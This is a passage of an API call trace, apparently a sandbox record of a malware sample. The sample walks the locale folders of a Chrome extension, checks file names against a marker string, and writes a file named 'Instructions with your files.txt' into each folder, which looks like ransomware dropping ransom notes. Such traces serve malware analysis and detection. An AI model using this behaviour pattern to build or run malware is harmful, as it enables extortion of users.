[0130.283] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\Instructions with your files.txt") returned 183
[0130.283] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.284] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.285] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.285] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.285] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.285] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.285] CloseHandle (hObject=0x134) returned 1
[0130.285] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.285] GetProcessHeap () returned 0x810000
[0130.285] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.285] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835068f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb", cAlternateFileName="")) returned 1
[0130.285] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb") returned 150
[0130.285] GetProcessHeap () returned 0x810000
[0130.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.285] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*") returned 152
[0130.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835068f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.286] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\.") returned 152
[0130.286] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835068f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.286] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\..") returned 153
[0130.286] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835068f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.286] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json") returned 164
[0130.286] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.286] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835068f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.287] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\Instructions with your files.txt") returned 183
[0130.287] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.287] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.288] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.288] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.288] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.288] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.288] CloseHandle (hObject=0x134) returned 1
[0130.288] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.288] GetProcessHeap () returned 0x810000
[0130.288] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.288] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8357bbf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
[0130.288] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl") returned 150
[0130.288] GetProcessHeap () returned 0x810000
[0130.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.289] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*") returned 152
[0130.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8357bbf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.289] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\.") returned 152
[0130.289] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8357bbf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.289] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\..") returned 153
[0130.289] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8357bbf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f45, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.289] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json") returned 164
[0130.289] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.289] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8357bbf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f45, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.289] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\Instructions with your files.txt") returned 183
[0130.289] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.290] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.290] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.291] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.291] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.291] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.291] CloseHandle (hObject=0x134) returned 1
[0130.291] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.291] GetProcessHeap () returned 0x810000
[0130.291] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.291] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83583120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
[0130.291] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl") returned 150
[0130.291] GetProcessHeap () returned 0x810000
[0130.291] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.291] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*") returned 152
[0130.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83583120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.292] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\.") returned 152
[0130.292] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83583120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.292] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\..") returned 153
[0130.292] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83583120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.292] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json") returned 164
[0130.292] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.292] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83583120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.292] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\Instructions with your files.txt") returned 183
[0130.293] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.293] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.294] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.294] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.294] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.294] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.294] CloseHandle (hObject=0x134) returned 1
[0130.294] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.294] GetProcessHeap () returned 0x810000
[0130.294] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.294] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359b7c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8359b7c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1
[0130.294] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt") returned 150
[0130.294] GetProcessHeap () returned 0x810000
[0130.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.294] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*") returned 152
